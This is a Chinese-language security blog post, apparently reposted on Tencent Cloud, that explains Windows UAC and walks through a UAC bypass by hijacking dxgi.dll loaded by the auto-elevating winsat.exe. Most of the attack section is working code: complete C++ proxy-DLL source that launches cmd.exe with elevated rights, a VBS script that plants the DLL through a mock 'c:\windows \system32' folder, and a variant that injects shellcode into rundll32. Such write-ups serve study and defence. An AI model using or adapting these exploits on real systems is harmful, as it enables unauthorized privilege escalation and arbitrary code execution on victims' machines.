学习
实践
活动
专区
工具
TVP
写文章
专栏首页鸿鹄实验室bypassUAC && DLL劫持

bypassUAC && DLL劫持

0x11 UAC简介

用户帐户控制(User Account Control,简写作UAC)是微软公司在其Windows Vista及更高版本操作系统中采用的一种控制机制。其原理是通知用户是否对应用程序使用硬盘驱动器和系统文件授权,以达到帮助阻止恶意程序(有时也称为“恶意软件”)损坏系统的效果。

UAC需要授权的动作包括:

1.配置Windows Update

2.增加或删除用户账户

3.改变用户的账户类型

4.改变UAC设置

6.安装ActiveX

6.安装或移除程序

7.安装设备驱动程序

8.设置家长控制

9.将文件移动或复制到Program Files或Windows目录

10.查看其他用户文件夹

效果如下:

而UAC也是区分等级的,具体设置如下

为什么有的应用程序不需要提示UAC??

一句话解释就是因为有的可以程序可以autoElevate(自动提升)

这也是我们常用的几种uac bypass的手法之一.常见手法如下

1.白名单提权机制 - autoElevate

2.DLL 劫持

3.Windows 自身漏洞提权

4.远程注入

5.COM 接口技术

具有autoElevate属性True的应用程序会在启动时自动提升权限,而这些应用程序往往都具备微软的签名,微软认为它是可信的。故此,在该程序启动时,将会以管理员身份启动,假设我们通过COM技术或者DLL劫持该应用程序,也能够获得管理员权限,但分析成本,利用难度也都是很高的。

0x12 BypassUAC

下面我们来查找一下具有该权限的应用程序,并利用DLL劫持的方法来bypassUAC,关于DLL劫持的原理这里不再论述,网上已经有多相关的文章了。

strings.exe -s *.exe | findstr /i autoelevate

我们最后选择了winsat.exe这个程序作为我们的劫持程序,下面就是查看该程序会加载的DLL。

发现其会加载dxgi.dll。

下面就是需要编写我们的dll了,原理如下(图来自国外)

可以通过dllexp来查看dll内的函数

你可以自行编写所需要的dll,也可以使用一些自动化工具来生成所需的dll。中间也是出了很多问题,多亏了团队的wlpz师傅的指点,我这里最后的目的就是使用dll劫持来运行一个cmd,所以最后的主要代码如下:

# include "pch.h"

#include <windows.h>
#include <Wtsapi32.h>

#pragma comment(lib, "Wtsapi32.lib")

# define EXTERNC extern "C"
# define NAKED __declspec(naked)
# define EXPORT EXTERNC __declspec(dllexport)
# define ALCPP EXPORT NAKED
# define ALSTD EXTERNC EXPORT NAKED void __stdcall
# define ALCFAST EXTERNC EXPORT NAKED void __fastcall
# define ALCDECL EXTERNC NAKED void __cdecl

EXTERNC 
{
    FARPROC Hijack_ApplyCompatResolutionQuirking;
    FARPROC Hijack_CompatString;
    FARPROC Hijack_CompatValue;
    FARPROC Hijack_CreateDXGIFactory;
    FARPROC Hijack_CreateDXGIFactory1;
    FARPROC Hijack_CreateDXGIFactory2;
    FARPROC Hijack_DXGID3D10CreateDevice;
    FARPROC Hijack_DXGID3D10CreateLayeredDevice;
    FARPROC Hijack_DXGID3D10GetLayeredDeviceSize;
    FARPROC Hijack_DXGID3D10RegisterLayers;
    FARPROC Hijack_DXGIDeclareAdapterRemovalSupport;
    FARPROC Hijack_DXGIDumpJournal;
    FARPROC Hijack_DXGIGetDebugInterface1;
    FARPROC Hijack_DXGIReportAdapterConfiguration;
    FARPROC Hijack_PIXBeginCapture;
    FARPROC Hijack_PIXEndCapture;
    FARPROC Hijack_PIXGetCaptureState;
    FARPROC Hijack_SetAppCompatStringPointer;
    FARPROC Hijack_UpdateHMDEmulationStatus;

}

namespace DLLHijacker
{
    HMODULE m_hModule = NULL;
    DWORD m_dwReturn[17] = {0};

    inline BOOL WINAPI Load()
{
        TCHAR tzPath[MAX_PATH];
        lstrcpy(tzPath, TEXT("dxgi"));
        m_hModule = LoadLibrary(tzPath);
        if (m_hModule == NULL)
            return FALSE;
        return (m_hModule != NULL);
    }

    FARPROC WINAPI GetAddress(PCSTR pszProcName)
{
        FARPROC fpAddress;
        CHAR szProcName[16];
        fpAddress = GetProcAddress(m_hModule, pszProcName);
        if (fpAddress == NULL)
        {
            if (HIWORD(pszProcName) == 0)
            {
                wsprintf((LPWSTR)szProcName, L"%d", pszProcName);
                pszProcName = szProcName;
            }
            ExitProcess(-2);
        }
        return fpAddress;
    }
}

using namespace DLLHijacker;



void StartProcess()
{
    STARTUPINFO startInfo = { 0 };

    PROCESS_INFORMATION procInfo = { 0 };

    WCHAR cmdline[] = L"cmd.exe";
    
    CreateProcess(cmdline, NULL, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &startInfo, &procInfo);
}


BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    {
        DisableThreadLibraryCalls(hModule);
        if(Load())
        {
            Hijack_ApplyCompatResolutionQuirking = GetAddress("ApplyCompatResolutionQuirking");
      Hijack_CompatString = GetAddress("CompatString");
      Hijack_CompatValue = GetAddress("CompatValue");
      Hijack_CreateDXGIFactory = GetAddress("CreateDXGIFactory");
      Hijack_CreateDXGIFactory1 = GetAddress("CreateDXGIFactory1");
      Hijack_CreateDXGIFactory2 = GetAddress("CreateDXGIFactory2");
      Hijack_DXGID3D10CreateDevice = GetAddress("DXGID3D10CreateDevice");
      Hijack_DXGID3D10CreateLayeredDevice = GetAddress("DXGID3D10CreateLayeredDevice");
      Hijack_DXGID3D10GetLayeredDeviceSize = GetAddress("DXGID3D10GetLayeredDeviceSize");
      Hijack_DXGID3D10RegisterLayers = GetAddress("DXGID3D10RegisterLayers");
      Hijack_DXGIDeclareAdapterRemovalSupport = GetAddress("DXGIDeclareAdapterRemovalSupport");
      Hijack_DXGIDumpJournal = GetAddress("DXGIDumpJournal");
      Hijack_DXGIGetDebugInterface1 = GetAddress("DXGIGetDebugInterface1");
      Hijack_DXGIReportAdapterConfiguration = GetAddress("DXGIReportAdapterConfiguration");
      Hijack_PIXBeginCapture = GetAddress("PIXBeginCapture");
      Hijack_PIXEndCapture = GetAddress("PIXEndCapture");
      Hijack_PIXGetCaptureState = GetAddress("PIXGetCaptureState");
      Hijack_SetAppCompatStringPointer = GetAddress("SetAppCompatStringPointer");
      Hijack_UpdateHMDEmulationStatus = GetAddress("UpdateHMDEmulationStatus");
      
            StartProcess();

        }

    }
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

但是这里又碰上了一个问题,一般这种系统的dll都是需要权限才能更改、移动的,劫持的话就需要做一些操作,不过好在发现了一个vbs脚本,可以帮助我们来完成这个操作,免除权限问题,代码很简单,就不赘述了

Set oFSO = CreateObject("Scripting.FileSystemObject")
Set wshshell = wscript.createobject("WScript.Shell")

' Get target binary and payload
WScript.StdOut.Write("System32 binary: ")
strBinary = WScript.StdIn.ReadLine()
WScript.StdOut.Write("Path to your DLL: ")
strDLL = WScript.StdIn.ReadLine()

' Create folders
Const target = "c:\windows \"
target_sys32 = (target & "system32\")
target_binary = (target_sys32 & strBinary)
If Not oFSO.FolderExists(target) Then oFSO.CreateFolder target End If
If Not oFSO.FolderExists(target_sys32) Then oFSO.CreateFolder target_sys32 End If

' Copy legit binary and evil DLL
oFSO.CopyFile ("c:\windows\system32\" & strBinary), target_binary
oFSO.CopyFile strDLL, target_sys32
' Run, Forrest, Run!
wshshell.Run("""" & target_binary & """")

' Clean files
WScript.StdOut.Write("Clean up? (press enter to continue)")
WScript.StdIn.ReadLine()
wshshell.Run("powershell /c ""rm -r """"\\?\" & target & """""""")

最后的效果如下

如果需要加载shellcode,可以改写里面的函数,比如变成下面这样

void StartProcess()
{
  unsigned char shellcode_calc[] =
    "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
    "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
    "\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
    "\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
    "\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
    "\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
    "\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
    "\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
    "\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
    "\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
    "\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
    "\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
    "\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
    "\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
    "\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"
    "\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff"
    "\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
    "\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c"
    "\x63\x2e\x65\x78\x65\x00";

  TCHAR CommandLine[] = TEXT("c:\\windows\\system32\\rundll32.exe");

  CONTEXT Context; 
  struct _STARTUPINFOA StartupInfo; 
  struct _PROCESS_INFORMATION ProcessInformation; 
  LPVOID lpBaseAddress;  

  ZeroMemory(&StartupInfo, sizeof(StartupInfo));
  StartupInfo.cb = 104;
  if (CreateProcess(0, CommandLine, 0, 0, 0, 0x44, 0, 0, (LPSTARTUPINFOW)&StartupInfo, &ProcessInformation)) {
    Context.ContextFlags = 1048579;
    GetThreadContext(ProcessInformation.hThread, &Context);
    lpBaseAddress = VirtualAllocEx(ProcessInformation.hProcess, 0, 0x800u, 0x1000u, 0x40u);
    WriteProcessMemory(ProcessInformation.hProcess, lpBaseAddress, &shellcode_calc, 0x800u, 0);
    Context.Rip = (DWORD64)lpBaseAddress;
    SetThreadContext(ProcessInformation.hThread, &Context);
    ResumeThread(ProcessInformation.hThread);
    CloseHandle(ProcessInformation.hThread);
    CloseHandle(ProcessInformation.hProcess);
  }
}

写在后面,当时学习该方法时,发现该作者已经整理了一份可劫持的系统表,地址如下;

https://github.com/wietze/windows-dll-hijacking/blob/master/dll_hijacking_candidates.csv

有兴趣的可以复现看看.

参考文章:

https://payloads.online/archivers/2018-12-22/1#0x12-bypass-uac%E7%9A%84%E5%87%A0%E7%A7%8D%E6%96%B9%E5%BC%8F

https://payloads.online/archivers/2020-03-02/2

https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows

文章分享自微信公众号:
鸿鹄实验室

本文参与 腾讯云自媒体分享计划 ,欢迎热爱写作的你一起参与!

作者:鸿鹄实验室a
原始发表时间:2020-11-28
如有侵权,请联系 cloudcommunity@tencent.com 删除。
登录 后参与评论
0 条评论

相关文章

  • DLL劫持详解

    DLL(Dynamic Link Library)文件为动态链接库文件,又称“应用程序拓展”,是软件文件类型。在Windows中,许多应用程序并不是一个完整的可...

    红队蓝军
  • 干货 | DLL劫持

    DLL(Dynamic Link Library),全称动态链接库,是Windows系统上程序正常运⾏必不可少的功 能模块,是实现代码重⽤的具体形式。简单的说,...

    HACK学习
  • 什么是DLL劫持

    Windows在其基础体系结构中具有DLL的搜索路径(加载DLL文件要遵循目录查找优先级)。如果你可以找出没有绝对路径的可执行文件请求的DLL(触发此搜索过程)...

    Gamma实验室
  • 最新dll劫持详解

    DLL(Dynamic Link Library)文件为动态链接库文件,又称“应用程序拓展”,是软件文件类型。 在Windows中,许多应用程序并不是一个完整的...

    红队蓝军
  • dll 劫持和应用

    2020年12月,SolarWinds 攻击事件引发全球的关注(https://us-cert.cisa.gov/ncas/alerts/aa20-352a),...

    Seebug漏洞平台
  • 在Windows中劫持DLL

    DLL劫持是一种用于执行恶意有效负载的流行技术,这篇文章列出了将近300个可执行文件,它们容易受到Windows 10(1909)上相对路径DLL劫持的攻击,并...

    Al1ex
  • 深入解析 DLL 劫持漏洞

    2010 年 8 月,微软发布安全通报 2269637,同时网上公布了大量受影响软件的名字,DLL 劫持漏洞开始进入大家的视野。

    腾讯玄武实验室
  • DLL劫持原理学习

    DLL(Dynamic Link Library)文件为动态链接库文件,又称“应用程序拓展”,是软件文件类型。在Windows中,许多应用程序并不是一个完整的可...

    Gamma实验室
  • Bypass-UAC(用户帐户控制)的那些事

    在本文中,我们将简要介绍一下用户帐户控制,即UAC。我们还将研究它如何潜在地保护免受恶意软件的攻击并忽略UAC提示可能给系统带来的一些问题。

    FB客服
  • 使用DLLHSC扫描DLL劫持目标

    DLLHSC全称为DLL Hijack SCanner,即DLL劫持扫描工具,DLLHSC可以生成线索并自动帮助广大研究人员发现合适的DLL劫持攻击目标,以方便...

    FB客服
  • 无处不在的dll劫持

    •环境变量PATH中所有目录。需要注意的是,这里不包括App Paths注册表项指定的应用程序路径。

    红队蓝军
  • 实战 | DLL劫持思路和研究

    DLL(Dynamic Link Library)文件为动态链接库文件,又称“应用程序拓展”,是软件文件类型。在Windows中,许多应用程序并不是一个完整的可...

    HACK学习
  • 7-Zip 16 DLL 劫持

    7-ZIP v.16 和可能使用 HTML 帮助系统的其他软件容易出现远程 DLL 劫持问题,从而导致任意代码执行。附上 PoC。

    Khan安全团队
  • Kaspersky AVP.exe DLL 劫持

    Kaspersky AVP.exe 中的 DLL 注入允许本地管理员在不知道 Kaspersky 密码的情况下杀死或篡改防病毒软件和在高权限中执行命令。

    黑白天安全
  • BypassUAC

    伪装进程的方式其实也可以算做借助了白名单,但是没有直接调用白名单进程,所以单独列出来了。

    CN_Simo
  • 无处不在的dll劫持

    所以如果一个dll不在应用程序所在目录,那么我们可以在应用程序所在目录放一个我们自己的dll,名称改为要加载dll的名称,这样当程序启动时,程序会加载我们自己的...

    红队蓝军
  • 科普 | DLL劫持原理与实践

    DLL劫持算是一个老的漏洞,而且乌云漏洞库中也有很多的案例,只不过案例更多的只是验证一下,并没有教如何利用。至于为什么专门抓起来再学一遍了,唉,内网渗透需要

    HACK学习
  • 使用Metasploit绕过UAC的多种方法

    本文来源:https://www.cnblogs.com/backlion/p/10552137.html

    用户1631416

扫码关注腾讯云开发者

领取腾讯云代金券